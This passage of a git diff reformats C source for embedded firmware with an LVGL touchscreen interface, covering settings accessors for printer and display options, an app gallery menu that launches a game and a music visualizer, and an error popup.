-bool settings_get_portal_offline_mode(const FSettings* settings) { - return settings->portal_offline_mode; +bool settings_get_portal_offline_mode(const FSettings *settings) { + return settings->portal_offline_mode; } // Power Printer Getters and Setters -void settings_set_printer_ip(FSettings* settings, const char* ip) { - strncpy(settings->printer_ip, ip, sizeof(settings->printer_ip) - 1); - settings->printer_ip[sizeof(settings->printer_ip) - 1] = '\0'; +void settings_set_printer_ip(FSettings *settings, const char *ip) { + strncpy(settings->printer_ip, ip, sizeof(settings->printer_ip) - 1); + settings->printer_ip[sizeof(settings->printer_ip) - 1] = '\0'; } -const char* settings_get_printer_ip(const FSettings* settings) { - return settings->printer_ip; +const char *settings_get_printer_ip(const FSettings *settings) { + return settings->printer_ip; } -void settings_set_printer_text(FSettings* settings, const char* text) { - strncpy(settings->printer_text, text, sizeof(settings->printer_text) - 1); - settings->printer_text[sizeof(settings->printer_text) - 1] = '\0'; +void settings_set_printer_text(FSettings *settings, const char *text) { + strncpy(settings->printer_text, text, sizeof(settings->printer_text) - 1); + settings->printer_text[sizeof(settings->printer_text) - 1] = '\0'; } -const char* settings_get_printer_text(const FSettings* settings) { - return settings->printer_text; +const char *settings_get_printer_text(const FSettings *settings) { + return settings->printer_text; } -void settings_set_printer_font_size(FSettings* settings, uint8_t font_size) { - settings->printer_font_size = font_size; +void settings_set_printer_font_size(FSettings *settings, uint8_t font_size) { + settings->printer_font_size = font_size; } -uint8_t settings_get_printer_font_size(const FSettings* settings) { - return settings->printer_font_size; +uint8_t settings_get_printer_font_size(const FSettings *settings) { + return settings->printer_font_size; } -void settings_set_printer_alignment(FSettings* settings, PrinterAlignment alignment) { - settings->printer_alignment = alignment; +void settings_set_printer_alignment(FSettings *settings, + PrinterAlignment alignment) { + settings->printer_alignment = alignment; } -PrinterAlignment settings_get_printer_alignment(const FSettings* settings) { - return settings->printer_alignment; +PrinterAlignment settings_get_printer_alignment(const FSettings *settings) { + return settings->printer_alignment; } -void settings_set_display_timeout(FSettings* settings, uint32_t timeout_ms) { - ESP_LOGI(TAG, "Setting display timeout from %lu to %lu ms", settings->display_timeout_ms, timeout_ms); - settings->display_timeout_ms = timeout_ms; +void settings_set_display_timeout(FSettings *settings, uint32_t timeout_ms) { + ESP_LOGI(TAG, "Setting display timeout from %lu to %lu ms", + settings->display_timeout_ms, timeout_ms); + settings->display_timeout_ms = timeout_ms; } -uint32_t settings_get_display_timeout(const FSettings* settings) { - return settings->display_timeout_ms; +uint32_t settings_get_display_timeout(const FSettings *settings) { + return settings->display_timeout_ms; } \ No newline at end of file diff --git a/main/managers/views/app_gallery_screen.c b/main/managers/views/app_gallery_screen.c index ca057293..cc44fab3 100644 --- a/main/managers/views/app_gallery_screen.c +++ b/main/managers/views/app_gallery_screen.c @@ -1,6 +1,6 @@ #include "managers/views/app_gallery_screen.h" -#include "managers/views/main_menu_screen.h" #include "managers/views/flappy_ghost_screen.h" +#include "managers/views/main_menu_screen.h" #include "managers/views/music_visualizer.h" #include #include @@ -9,9 +9,9 @@ lv_obj_t *apps_container; static int selected_app_index = 0; typedef struct { - const char *name; - const lv_img_dsc_t *icon; - lv_color_t border_color; + const char *name; + const lv_img_dsc_t *icon; + lv_color_t border_color; } app_item_t; static app_item_t app_items[] = { @@ -33,358 +33,367 @@ static lv_obj_t *prev_button = NULL; void refresh_apps_menu(void); // Forward declaration void apps_menu_create(void) { - display_manager_fill_screen(lv_color_black()); - - // Set border colors for apps - app_items[0].border_color = lv_color_make(255, 215, 0); - - // Calculate total pages - total_pages = (num_apps + apps_per_page - 1) / apps_per_page; - - static lv_coord_t col_dsc[] = {LV_GRID_FR(1), LV_GRID_FR(1), LV_GRID_FR(1), LV_GRID_TEMPLATE_LAST}; - static lv_coord_t row_dsc[] = { - LV_GRID_FR(0.5), // Row 0: Back button - LV_GRID_FR(1), // Row 1: Apps row 1 - LV_GRID_FR(1), // Row 2: Apps row 2 - #ifdef CONFIG_USE_TOUCHSCREEN - LV_GRID_FR(0.5), // Row 3: Next/Prev buttons - #endif - LV_GRID_TEMPLATE_LAST - }; - - apps_container = lv_obj_create(lv_scr_act()); - apps_menu_view.root = apps_container; - lv_obj_set_grid_dsc_array(apps_container, col_dsc, row_dsc); - lv_obj_set_size(apps_container, LV_HOR_RES, LV_VER_RES); - lv_obj_set_scrollbar_mode(apps_container, LV_SCROLLBAR_MODE_OFF); - lv_obj_set_style_pad_column(apps_container, -20, 0); - lv_obj_set_style_bg_opa(apps_container, LV_OPA_TRANSP, 0); - lv_obj_set_style_border_width(apps_container, 0, 0); - lv_obj_set_style_pad_all(apps_container, 0, 0); - lv_obj_set_style_radius(apps_container, 0, 0); - - lv_obj_align(apps_container, LV_ALIGN_CENTER, 0, 20); - - // Create Back Button - int button_width = LV_HOR_RES / 4; - int button_height = LV_VER_RES / 8; - - - back_button = lv_btn_create(apps_container); - lv_obj_set_size(back_button, button_width, button_height); - lv_obj_set_style_bg_color(back_button, lv_color_black(), 0); - lv_obj_set_style_border_color(back_button, lv_color_make(255, 255, 255), 0); - lv_obj_set_style_border_width(back_button, 2, 0); - lv_obj_set_style_radius(back_button, 10, 0); - lv_obj_set_scrollbar_mode(back_button, LV_SCROLLBAR_MODE_OFF); - lv_obj_set_style_pad_all(back_button, 5, 0); - - lv_obj_t *back_label = lv_label_create(back_button); - lv_label_set_text(back_label, "Back"); - lv_obj_set_style_text_font(back_label, &lv_font_montserrat_18, 0); - lv_obj_align(back_label, LV_ALIGN_CENTER, 0, 0); - lv_obj_set_style_text_color(back_label, lv_color_white(), 0); - - // Position the back button at the top center - lv_obj_set_grid_cell(back_button, LV_GRID_ALIGN_CENTER, 1, 1, LV_GRID_ALIGN_START, 0, 1); - lv_obj_set_user_data(back_button, (void *)(uintptr_t)(-1)); - - lv_obj_add_flag(back_button, LV_OBJ_FLAG_HIDDEN); + display_manager_fill_screen(lv_color_black()); + + // Set border colors for apps + app_items[0].border_color = lv_color_make(255, 215, 0); + + // Calculate total pages + total_pages = (num_apps + apps_per_page - 1) / apps_per_page; + static lv_coord_t col_dsc[] = {LV_GRID_FR(1), LV_GRID_FR(1), LV_GRID_FR(1), + LV_GRID_TEMPLATE_LAST}; + static lv_coord_t row_dsc[] = {LV_GRID_FR(0.5), // Row 0: Back button + LV_GRID_FR(1), // Row 1: Apps row 1 + LV_GRID_FR(1), // Row 2: Apps row 2 #ifdef CONFIG_USE_TOUCHSCREEN - // Create Next and Previous Buttons - next_button = lv_btn_create(apps_container); - lv_obj_set_size(next_button, button_width, button_height); - lv_obj_set_style_bg_color(next_button, lv_color_black(), 0); - lv_obj_set_style_border_color(next_button, lv_color_make(255, 255, 255), 0); - lv_obj_set_style_border_width(next_button, 2, 0); - lv_obj_set_style_radius(next_button, 10, 0); - lv_obj_set_scrollbar_mode(next_button, LV_SCROLLBAR_MODE_OFF); - lv_obj_set_style_pad_all(next_button, 5, 0); - - lv_obj_t *next_label = lv_label_create(next_button); - lv_label_set_text(next_label, "Next"); - lv_obj_set_style_text_font(next_label, &lv_font_montserrat_18, 0); - lv_obj_align(next_label, LV_ALIGN_CENTER, 0, 0); - lv_obj_set_style_text_color(next_label, lv_color_white(), 0); - - lv_obj_set_grid_cell(next_button, LV_GRID_ALIGN_CENTER, 2, 1, LV_GRID_ALIGN_START, 3, 1); - lv_obj_set_user_data(next_button, (void *)(uintptr_t)(-2)); // Use -2 to identify the next button - - prev_button = lv_btn_create(apps_container); - lv_obj_set_size(prev_button, button_width, button_height); - lv_obj_set_style_bg_color(prev_button, lv_color_black(), 0); - lv_obj_set_style_border_color(prev_button, lv_color_make(255, 255, 255), 0); - lv_obj_set_style_border_width(prev_button, 2, 0); - lv_obj_set_style_radius(prev_button, 10, 0); - lv_obj_set_scrollbar_mode(prev_button, LV_SCROLLBAR_MODE_OFF); - lv_obj_set_style_pad_all(prev_button, 5, 0); - - lv_obj_t *prev_label = lv_label_create(prev_button); - lv_label_set_text(prev_label, "Prev"); - lv_obj_set_style_text_font(prev_label, &lv_font_montserrat_18, 0); - lv_obj_align(prev_label, LV_ALIGN_CENTER, 0, 0); - lv_obj_set_style_text_color(prev_label, lv_color_white(), 0); - - lv_obj_set_grid_cell(prev_button, LV_GRID_ALIGN_CENTER, 0, 1, LV_GRID_ALIGN_START, 3, 1); - lv_obj_set_user_data(prev_button, (void *)(uintptr_t)(-3)); // Use -3 to identify the prev button - - // Update navigation buttons' visibility - if (current_page <= 0) { - lv_obj_add_flag(prev_button, LV_OBJ_FLAG_HIDDEN); - } else { - lv_obj_clear_flag(prev_button, LV_OBJ_FLAG_HIDDEN); - } + LV_GRID_FR(0.5), // Row 3: Next/Prev buttons +#endif + LV_GRID_TEMPLATE_LAST}; + + apps_container = lv_obj_create(lv_scr_act()); + apps_menu_view.root = apps_container; + lv_obj_set_grid_dsc_array(apps_container, col_dsc, row_dsc); + lv_obj_set_size(apps_container, LV_HOR_RES, LV_VER_RES); + lv_obj_set_scrollbar_mode(apps_container, LV_SCROLLBAR_MODE_OFF); + lv_obj_set_style_pad_column(apps_container, -20, 0); + lv_obj_set_style_bg_opa(apps_container, LV_OPA_TRANSP, 0); + lv_obj_set_style_border_width(apps_container, 0, 0); + lv_obj_set_style_pad_all(apps_container, 0, 0); + lv_obj_set_style_radius(apps_container, 0, 0); + + lv_obj_align(apps_container, LV_ALIGN_CENTER, 0, 20); + + // Create Back Button + int button_width = LV_HOR_RES / 4; + int button_height = LV_VER_RES / 8; + + back_button = lv_btn_create(apps_container); + lv_obj_set_size(back_button, button_width, button_height); + lv_obj_set_style_bg_color(back_button, lv_color_black(), 0); + lv_obj_set_style_border_color(back_button, lv_color_make(255, 255, 255), 0); + lv_obj_set_style_border_width(back_button, 2, 0); + lv_obj_set_style_radius(back_button, 10, 0); + lv_obj_set_scrollbar_mode(back_button, LV_SCROLLBAR_MODE_OFF); + lv_obj_set_style_pad_all(back_button, 5, 0); + + lv_obj_t *back_label = lv_label_create(back_button); + lv_label_set_text(back_label, "Back"); + lv_obj_set_style_text_font(back_label, &lv_font_montserrat_18, 0); + lv_obj_align(back_label, LV_ALIGN_CENTER, 0, 0); + lv_obj_set_style_text_color(back_label, lv_color_white(), 0); + + // Position the back button at the top center + lv_obj_set_grid_cell(back_button, LV_GRID_ALIGN_CENTER, 1, 1, + LV_GRID_ALIGN_START, 0, 1); + lv_obj_set_user_data(back_button, (void *)(uintptr_t)(-1)); + + lv_obj_add_flag(back_button, LV_OBJ_FLAG_HIDDEN); - if (current_page >= total_pages - 1) { - lv_obj_add_flag(next_button, LV_OBJ_FLAG_HIDDEN); - } else { - lv_obj_clear_flag(next_button, LV_OBJ_FLAG_HIDDEN); - } +#ifdef CONFIG_USE_TOUCHSCREEN + // Create Next and Previous Buttons + next_button = lv_btn_create(apps_container); + lv_obj_set_size(next_button, button_width, button_height); + lv_obj_set_style_bg_color(next_button, lv_color_black(), 0); + lv_obj_set_style_border_color(next_button, lv_color_make(255, 255, 255), 0); + lv_obj_set_style_border_width(next_button, 2, 0); + lv_obj_set_style_radius(next_button, 10, 0); + lv_obj_set_scrollbar_mode(next_button, LV_SCROLLBAR_MODE_OFF); + lv_obj_set_style_pad_all(next_button, 5, 0); + + lv_obj_t *next_label = lv_label_create(next_button); + lv_label_set_text(next_label, "Next"); + lv_obj_set_style_text_font(next_label, &lv_font_montserrat_18, 0); + lv_obj_align(next_label, LV_ALIGN_CENTER, 0, 0); + lv_obj_set_style_text_color(next_label, lv_color_white(), 0); + + lv_obj_set_grid_cell(next_button, LV_GRID_ALIGN_CENTER, 2, 1, + LV_GRID_ALIGN_START, 3, 1); + lv_obj_set_user_data( + next_button, + (void *)(uintptr_t)(-2)); // Use -2 to identify the next button + + prev_button = lv_btn_create(apps_container); + lv_obj_set_size(prev_button, button_width, button_height); + lv_obj_set_style_bg_color(prev_button, lv_color_black(), 0); + lv_obj_set_style_border_color(prev_button, lv_color_make(255, 255, 255), 0); + lv_obj_set_style_border_width(prev_button, 2, 0); + lv_obj_set_style_radius(prev_button, 10, 0); + lv_obj_set_scrollbar_mode(prev_button, LV_SCROLLBAR_MODE_OFF); + lv_obj_set_style_pad_all(prev_button, 5, 0); + + lv_obj_t *prev_label = lv_label_create(prev_button); + lv_label_set_text(prev_label, "Prev"); + lv_obj_set_style_text_font(prev_label, &lv_font_montserrat_18, 0); + lv_obj_align(prev_label, LV_ALIGN_CENTER, 0, 0); + lv_obj_set_style_text_color(prev_label, lv_color_white(), 0); + + lv_obj_set_grid_cell(prev_button, LV_GRID_ALIGN_CENTER, 0, 1, + LV_GRID_ALIGN_START, 3, 1); + lv_obj_set_user_data( + prev_button, + (void *)(uintptr_t)(-3)); // Use -3 to identify the prev button + + // Update navigation buttons' visibility + if (current_page <= 0) { + lv_obj_add_flag(prev_button, LV_OBJ_FLAG_HIDDEN); + } else { + lv_obj_clear_flag(prev_button, LV_OBJ_FLAG_HIDDEN); + } + + if (current_page >= total_pages - 1) { + lv_obj_add_flag(next_button, LV_OBJ_FLAG_HIDDEN); + } else { + lv_obj_clear_flag(next_button, LV_OBJ_FLAG_HIDDEN); + } #endif // USE_TOUCHSCREEN - // Create App Items for Current Page - refresh_apps_menu(); + // Create App Items for Current Page + refresh_apps_menu(); #ifndef CONFIG_USE_TOUCHSCREEN - select_app_item(current_page * apps_per_page); + select_app_item(current_page * apps_per_page); #endif - display_manager_add_status_bar("Apps"); + display_manager_add_status_bar("Apps"); } void refresh_apps_menu(void) { - // Delete existing app items except the back button and next/prev buttons (if touchscreen) - uint32_t child_count = lv_obj_get_child_cnt(apps_container); - for (int32_t i = child_count - 1; i >= 0; i--) { // Iterate in reverse order - lv_obj_t *child = lv_obj_get_child(apps_container, i); - int index = (int)(uintptr_t)lv_obj_get_user_data(child); - if (index >= 0) { // Delete app items - lv_obj_del(child); - } + // Delete existing app items except the back button and next/prev buttons (if + // touchscreen) + uint32_t child_count = lv_obj_get_child_cnt(apps_container); + for (int32_t i = child_count - 1; i >= 0; i--) { // Iterate in reverse order + lv_obj_t *child = lv_obj_get_child(apps_container, i); + int index = (int)(uintptr_t)lv_obj_get_user_data(child); + if (index >= 0) { // Delete app items + lv_obj_del(child); } - - int start_index = current_page * apps_per_page; - int end_index = start_index + apps_per_page; - if (end_index > num_apps) end_index = num_apps; - - lv_disp_t *disp = lv_disp_get_default(); - int hor_res = lv_disp_get_hor_res(disp); - int ver_res = lv_disp_get_ver_res(disp); - - int button_width = hor_res / 4; - int button_height = ver_res / 4; - - int icon_width = 50; - int icon_height = 50; - - const lv_font_t *font; - if (ver_res <= 128) { - font = &lv_font_montserrat_10; - } else if (ver_res <= 240) { - font = &lv_font_montserrat_16; - } else { - font = &lv_font_montserrat_18; + } + + int start_index = current_page * apps_per_page; + int end_index = start_index + apps_per_page; + if (end_index > num_apps) + end_index = num_apps; + + lv_disp_t *disp = lv_disp_get_default(); + int hor_res = lv_disp_get_hor_res(disp); + int ver_res = lv_disp_get_ver_res(disp); + + int button_width = hor_res / 4; + int button_height = ver_res / 4; + + int icon_width = 50; + int icon_height = 50; + + const lv_font_t *font; + if (ver_res <= 128) { + font = &lv_font_montserrat_10; + } else if (ver_res <= 240) { + font = &lv_font_montserrat_16; + } else { + font = &lv_font_montserrat_18; + } + + for (int i = start_index; i < end_index; i++) { + int display_index = i - start_index; + + lv_obj_t *app_item = lv_btn_create(apps_container); + lv_obj_set_size(app_item, button_width, button_height); + lv_obj_set_style_bg_color(app_item, lv_color_black(), 0); + lv_obj_set_style_border_color(app_item, app_items[i].border_color, 0); + lv_obj_set_style_border_width(app_item, 2, 0); + lv_obj_set_style_radius(app_item, 10, 0); + lv_obj_set_scrollbar_mode(app_item, LV_SCROLLBAR_MODE_OFF); + lv_obj_set_style_pad_all(app_item, 5, 0); + + if (ver_res >= 240 && app_items[i].icon) { + lv_obj_t *icon = lv_img_create(app_item); + lv_img_set_src(icon, app_items[i].icon); + lv_obj_set_size(icon, icon_width, icon_height); + lv_obj_align(icon, LV_ALIGN_TOP_MID, 0, -5); } - for (int i = start_index; i < end_index; i++) { - int display_index = i - start_index; - - lv_obj_t *app_item = lv_btn_create(apps_container); - lv_obj_set_size(app_item, button_width, button_height); - lv_obj_set_style_bg_color(app_item, lv_color_black(), 0); - lv_obj_set_style_border_color(app_item, app_items[i].border_color, 0); - lv_obj_set_style_border_width(app_item, 2, 0); - lv_obj_set_style_radius(app_item, 10, 0); - lv_obj_set_scrollbar_mode(app_item, LV_SCROLLBAR_MODE_OFF); - lv_obj_set_style_pad_all(app_item, 5, 0); - - if (ver_res >= 240 && app_items[i].icon) { - lv_obj_t *icon = lv_img_create(app_item); - lv_img_set_src(icon, app_items[i].icon); - lv_obj_set_size(icon, icon_width, icon_height); - lv_obj_align(icon, LV_ALIGN_TOP_MID, 0, -5); - } - - if (ver_res <= 135) - { - lv_obj_t *label = lv_label_create(app_item); - lv_label_set_text(label, app_items[i].name); - lv_obj_set_style_text_font(label, font, 0); - lv_obj_align(label, LV_ALIGN_CENTER, 0, 0); - lv_obj_set_style_text_color(label, lv_color_white(), 0); - } - + if (ver_res <= 135) { + lv_obj_t *label = lv_label_create(app_item); + lv_label_set_text(label, app_items[i].name); + lv_obj_set_style_text_font(label, font, 0); + lv_obj_align(label, LV_ALIGN_CENTER, 0, 0); + lv_obj_set_style_text_color(label, lv_color_white(), 0); + } - int row_idx = 1 + (display_index / 3); // Rows 1 and 2 for apps - lv_obj_set_grid_cell(app_item, LV_GRID_ALIGN_CENTER, display_index % 3, 1, LV_GRID_ALIGN_START, row_idx, 1); + int row_idx = 1 + (display_index / 3); // Rows 1 and 2 for apps + lv_obj_set_grid_cell(app_item, LV_GRID_ALIGN_CENTER, display_index % 3, 1, + LV_GRID_ALIGN_START, row_idx, 1); - lv_obj_set_user_data(app_item, (void *)(intptr_t)i); - } + lv_obj_set_user_data(app_item, (void *)(intptr_t)i); + } #ifdef CONFIG_USE_TOUCHSCREEN - // Update navigation buttons' visibility - if (current_page <= 0) { - lv_obj_add_flag(prev_button, LV_OBJ_FLAG_HIDDEN); - } else { - lv_obj_clear_flag(prev_button, LV_OBJ_FLAG_HIDDEN); - } - - if (current_page >= total_pages - 1) { - lv_obj_add_flag(next_button, LV_OBJ_FLAG_HIDDEN); - } else { - lv_obj_clear_flag(next_button, LV_OBJ_FLAG_HIDDEN); - } + // Update navigation buttons' visibility + if (current_page <= 0) { + lv_obj_add_flag(prev_button, LV_OBJ_FLAG_HIDDEN); + } else { + lv_obj_clear_flag(prev_button, LV_OBJ_FLAG_HIDDEN); + } + + if (current_page >= total_pages - 1) { + lv_obj_add_flag(next_button, LV_OBJ_FLAG_HIDDEN); + } else { + lv_obj_clear_flag(next_button, LV_OBJ_FLAG_HIDDEN); + } #endif #ifndef CONFIG_USE_TOUCHSCREEN - // For devices without touchscreens, ensure selected_app_index is within the current page - if (selected_app_index != -1 && (selected_app_index < start_index || selected_app_index >= end_index)) { - selected_app_index = start_index; - } - update_app_item_styles(); + // For devices without touchscreens, ensure selected_app_index is within the + // current page + if (selected_app_index != -1 && + (selected_app_index < start_index || selected_app_index >= end_index)) { + selected_app_index = start_index; + } + update_app_item_styles(); #endif } void handle_apps_button_press(int ButtonPressed) { - if (ButtonPressed == 0) { // Left - select_app_item(selected_app_index - 1); - } else if (ButtonPressed == 3) { // Right - select_app_item(selected_app_index + 1); - } else if (ButtonPressed == 1) { // Select - if (selected_app_index == -1) { - printf("Back button pressed\n"); - display_manager_switch_view(&main_menu_view); - } else { - printf("Launching app via joystick: %d\n", selected_app_index); - if (selected_app_index == 0) { - display_manager_switch_view(&flappy_bird_view); - } - - if (selected_app_index == 1) - { - display_manager_switch_view(&music_visualizer_view); - } - } + if (ButtonPressed == 0) { // Left + select_app_item(selected_app_index - 1); + } else if (ButtonPressed == 3) { // Right + select_app_item(selected_app_index + 1); + } else if (ButtonPressed == 1) { // Select + if (selected_app_index == -1) { + printf("Back button pressed\n"); + display_manager_switch_view(&main_menu_view); + } else { + printf("Launching app via joystick: %d\n", selected_app_index); + if (selected_app_index == 0) { + display_manager_switch_view(&flappy_bird_view); + } + + if (selected_app_index == 1) { + display_manager_switch_view(&music_visualizer_view); + } } + } } void apps_menu_event_handler(InputEvent *event) { - if (event->type == INPUT_TYPE_TOUCH) { - lv_indev_data_t *data = &event->data.touch_data; - int touched_app_index = -1; + if (event->type == INPUT_TYPE_TOUCH) { + lv_indev_data_t *data = &event->data.touch_data; + int touched_app_index = -1; - printf("Touch detected at X: %d, Y: %d\n", data->point.x, data->point.y); + printf("Touch detected at X: %d, Y: %d\n", data->point.x, data->point.y); - uint32_t child_count = lv_obj_get_child_cnt(apps_container); - for (uint32_t i = 0; i < child_count; i++) { - lv_obj_t *child = lv_obj_get_child(apps_container, i); - int index = (int)(uintptr_t)lv_obj_get_user_data(child); + uint32_t child_count = lv_obj_get_child_cnt(apps_container); + for (uint32_t i = 0; i < child_count; i++) { + lv_obj_t *child = lv_obj_get_child(apps_container, i); + int index = (int)(uintptr_t)lv_obj_get_user_data(child); - lv_area_t item_area; - lv_obj_get_coords(child, &item_area); + lv_area_t item_area; + lv_obj_get_coords(child, &item_area); - if (data->point.x >= item_area.x1 && data->point.x <= item_area.x2 && - data->point.y >= item_area.y1 && data->point.y <= item_area.y2) { + if (data->point.x >= item_area.x1 && data->point.x <= item_area.x2 && + data->point.y >= item_area.y1 && data->point.y <= item_area.y2) { - if (index == -1) { // Back button - printf("Back button touched\n"); - display_manager_switch_view(&main_menu_view); - return; - } + if (index == -1) { // Back button + printf("Back button touched\n"); + display_manager_switch_view(&main_menu_view); + return; + } #ifdef CONFIG_USE_TOUCHSCREEN - else if (index == -2) { // Next button - if (current_page < total_pages - 1) { - current_page++; - refresh_apps_menu(); - } - return; - } else if (index == -3) { // Prev button - if (current_page > 0) { - current_page--; - refresh_apps_menu(); - } - return; - } -#endif - else { - touched_app_index = index; - break; - } - } + else if (index == -2) { // Next button + if (current_page < total_pages - 1) { + current_page++; + refresh_apps_menu(); + } + return; + } else if (index == -3) { // Prev button + if (current_page > 0) { + current_page--; + refresh_apps_menu(); + } + return; } - - if (touched_app_index >= 0) { - printf("Touch input detected on app item: %d\n", touched_app_index); - if (touched_app_index == 0) { - display_manager_switch_view(&flappy_bird_view); - } - else if (touched_app_index == 1) - { - display_manager_switch_view(&music_visualizer_view); - } - } else { - printf("Touch input detected but no app item found at touch coordinates. X: %d, Y: %d\n", - data->point.x, data->point.y); +#endif + else { + touched_app_index = index; + break; } + } + } - } else if (event->type == INPUT_TYPE_JOYSTICK) { - int button = event->data.joystick_index; - handle_apps_button_press(button); + if (touched_app_index >= 0) { + printf("Touch input detected on app item: %d\n", touched_app_index); + if (touched_app_index == 0) { + display_manager_switch_view(&flappy_bird_view); + } else if (touched_app_index == 1) { + display_manager_switch_view(&music_visualizer_view); + } + } else { + printf("Touch input detected but no app item found at touch coordinates. " + "X: %d, Y: %d\n", + data->point.x, data->point.y); } + + } else if (event->type == INPUT_TYPE_JOYSTICK) { + int button = event->data.joystick_index; + handle_apps_button_press(button); + } } void update_app_item_styles(void) { - uint32_t child_count = lv_obj_get_child_cnt(apps_container); - for (uint32_t i = 0; i < child_count; i++) { - lv_obj_t *app_item = lv_obj_get_child(apps_container, i); - int index = (int)(uintptr_t)lv_obj_get_user_data(app_item); - - // Skip non-app items - if (index < 0) continue; - - if (index == selected_app_index) { - lv_obj_set_style_border_color(app_item, lv_color_make(255, 255, 0), 0); - lv_obj_set_style_border_width(app_item, 4, 0); - } else { - lv_obj_set_style_border_color(app_item, app_items[index].border_color, 0); - lv_obj_set_style_border_width(app_item, 2, 0); - } + uint32_t child_count = lv_obj_get_child_cnt(apps_container); + for (uint32_t i = 0; i < child_count; i++) { + lv_obj_t *app_item = lv_obj_get_child(apps_container, i); + int index = (int)(uintptr_t)lv_obj_get_user_data(app_item); + + // Skip non-app items + if (index < 0) + continue; + + if (index == selected_app_index) { + lv_obj_set_style_border_color(app_item, lv_color_make(255, 255, 0), 0); + lv_obj_set_style_border_width(app_item, 4, 0); + } else { + lv_obj_set_style_border_color(app_item, app_items[index].border_color, 0); + lv_obj_set_style_border_width(app_item, 2, 0); } + } } void select_app_item(int index) { - if (index < -1) index = num_apps - 1; - if (index > num_apps - 1) index = -1; + if (index < -1) + index = num_apps - 1; + if (index > num_apps - 1) + index = -1; - selected_app_index = index; + selected_app_index = index; - int page; + int page; - if (selected_app_index == -1) { - page = 0; // Back button is on page 0 - } else { - page = selected_app_index / apps_per_page; - } + if (selected_app_index == -1) { + page = 0; // Back button is on page 0 + } else { + page = selected_app_index / apps_per_page; + } - if (page != current_page) { - current_page = page; - refresh_apps_menu(); - } else { - update_app_item_styles(); - } + if (page != current_page) { + current_page = page; + refresh_apps_menu(); + } else { + update_app_item_styles(); + } } void apps_menu_destroy(void) { - if (apps_container) { - lv_obj_clean(apps_container); - lv_obj_del(apps_container); - apps_container = NULL; - } + if (apps_container) { + lv_obj_clean(apps_container); + lv_obj_del(apps_container); + apps_container = NULL; + } } void get_apps_menu_callback(void **callback) { - *callback = apps_menu_event_handler; + *callback = apps_menu_event_handler; } View apps_menu_view = { diff --git a/main/managers/views/error_popup.c b/main/managers/views/error_popup.c index 33100688..016fa063 100644 --- a/main/managers/views/error_popup.c +++ b/main/managers/views/error_popup.c @@ -1,76 +1,64 @@ #include "managers/views/error_popup.h" -#include #include "freertos/FreeRTOS.h" #include "freertos/task.h" +#include #include - lv_obj_t *error_popup_root = NULL; lv_obj_t *error_popup_label = NULL; - void error_popup_create(const char *message) { - if (error_popup_root != NULL) { - return; - } + if (error_popup_root != NULL) { + return; + } - - error_popup_root = lv_obj_create(lv_scr_act()); + error_popup_root = lv_obj_create(lv_scr_act()); - - if (LV_HOR_RES == 240 && LV_VER_RES == 320) { - - lv_obj_set_size(error_popup_root, LV_HOR_RES * 0.8, LV_VER_RES * 0.5); - lv_obj_set_style_pad_all(error_popup_root, 20, 0); - lv_obj_set_style_text_font(error_popup_root, &lv_font_montserrat_10, 0); - } else if (LV_HOR_RES == 128 && LV_VER_RES == 128) { - - lv_obj_set_size(error_popup_root, LV_HOR_RES * 0.9, LV_VER_RES * 0.6); - lv_obj_set_style_pad_all(error_popup_root, 10, 0); - lv_obj_set_style_text_font(error_popup_root, &lv_font_montserrat_8, 0); - } else { - - lv_obj_set_size(error_popup_root, LV_HOR_RES * 0.7, LV_VER_RES * 0.4); - lv_obj_set_style_pad_all(error_popup_root, 15, 0); - lv_obj_set_style_text_font(error_popup_root, &lv_font_montserrat_10, 0); - } + if (LV_HOR_RES == 240 && LV_VER_RES == 320) { - - lv_obj_align(error_popup_root, LV_ALIGN_CENTER, 0, 0); - lv_obj_set_style_bg_color(error_popup_root, lv_color_make(50, 50, 50), 0); - lv_obj_set_style_radius(error_popup_root, 10, 0); - lv_obj_set_style_border_width(error_popup_root, 0, 0); - lv_obj_set_style_shadow_color(error_popup_root, lv_color_make(0, 0, 0), 0); - lv_obj_set_style_shadow_width(error_popup_root, 10, 0); - lv_obj_set_style_shadow_opa(error_popup_root, LV_OPA_50, 0); - lv_obj_set_scrollbar_mode(error_popup_root, LV_SCROLLBAR_MODE_OFF); + lv_obj_set_size(error_popup_root, LV_HOR_RES * 0.8, LV_VER_RES * 0.5); + lv_obj_set_style_pad_all(error_popup_root, 20, 0); + lv_obj_set_style_text_font(error_popup_root, &lv_font_montserrat_10, 0); + } else if (LV_HOR_RES == 128 && LV_VER_RES == 128) { - - error_popup_label = lv_label_create(error_popup_root); - lv_label_set_long_mode(error_popup_label, LV_LABEL_LONG_WRAP); - lv_obj_set_width(error_popup_label, lv_pct(100)); - lv_obj_set_style_text_color(error_popup_label, lv_color_white(), 0); - lv_label_set_text(error_popup_label, message); - lv_obj_align(error_popup_label, LV_ALIGN_CENTER, 0, 0); + lv_obj_set_size(error_popup_root, LV_HOR_RES * 0.9, LV_VER_RES * 0.6); + lv_obj_set_style_pad_all(error_popup_root, 10, 0); + lv_obj_set_style_text_font(error_popup_root, &lv_font_montserrat_8, 0); + } else { + lv_obj_set_size(error_popup_root, LV_HOR_RES * 0.7, LV_VER_RES * 0.4); + lv_obj_set_style_pad_all(error_popup_root, 15, 0); + lv_obj_set_style_text_font(error_popup_root, &lv_font_montserrat_10, 0); + } - vTaskDelay(pdMS_TO_TICKS(2000)); + lv_obj_align(error_popup_root, LV_ALIGN_CENTER, 0, 0); + lv_obj_set_style_bg_color(error_popup_root, lv_color_make(50, 50, 50), 0); + lv_obj_set_style_radius(error_popup_root, 10, 0); + lv_obj_set_style_border_width(error_popup_root, 0, 0); + lv_obj_set_style_shadow_color(error_popup_root, lv_color_make(0, 0, 0), 0); + lv_obj_set_style_shadow_width(error_popup_root, 10, 0); + lv_obj_set_style_shadow_opa(error_popup_root, LV_OPA_50, 0); + lv_obj_set_scrollbar_mode(error_popup_root, LV_SCROLLBAR_MODE_OFF); + error_popup_label = lv_label_create(error_popup_root); + lv_label_set_long_mode(error_popup_label, LV_LABEL_LONG_WRAP); + lv_obj_set_width(error_popup_label, lv_pct(100)); + lv_obj_set_style_text_color(error_popup_label, lv_color_white(), 0); + lv_label_set_text(error_popup_label, message); + lv_obj_align(error_popup_label, LV_ALIGN_CENTER, 0, 0); - error_popup_destroy(); -} + vTaskDelay(pdMS_TO_TICKS(2000)); + error_popup_destroy(); +} void error_popup_destroy(void) { - if (error_popup_root == NULL) { - return; - } - lv_obj_del(error_popup_root); - error_popup_root = NULL; - error_popup_label = NULL; + if (error_popup_root == NULL) { + return; + } + lv_obj_del(error_popup_root); + error_popup_root = NULL; + error_popup_label = NULL; } -bool is_error_popup_rendered() -{ - return error_popup_root; -} \ No newline at end of file +bool is_error_popup_rendered() { return error_popup_root; } 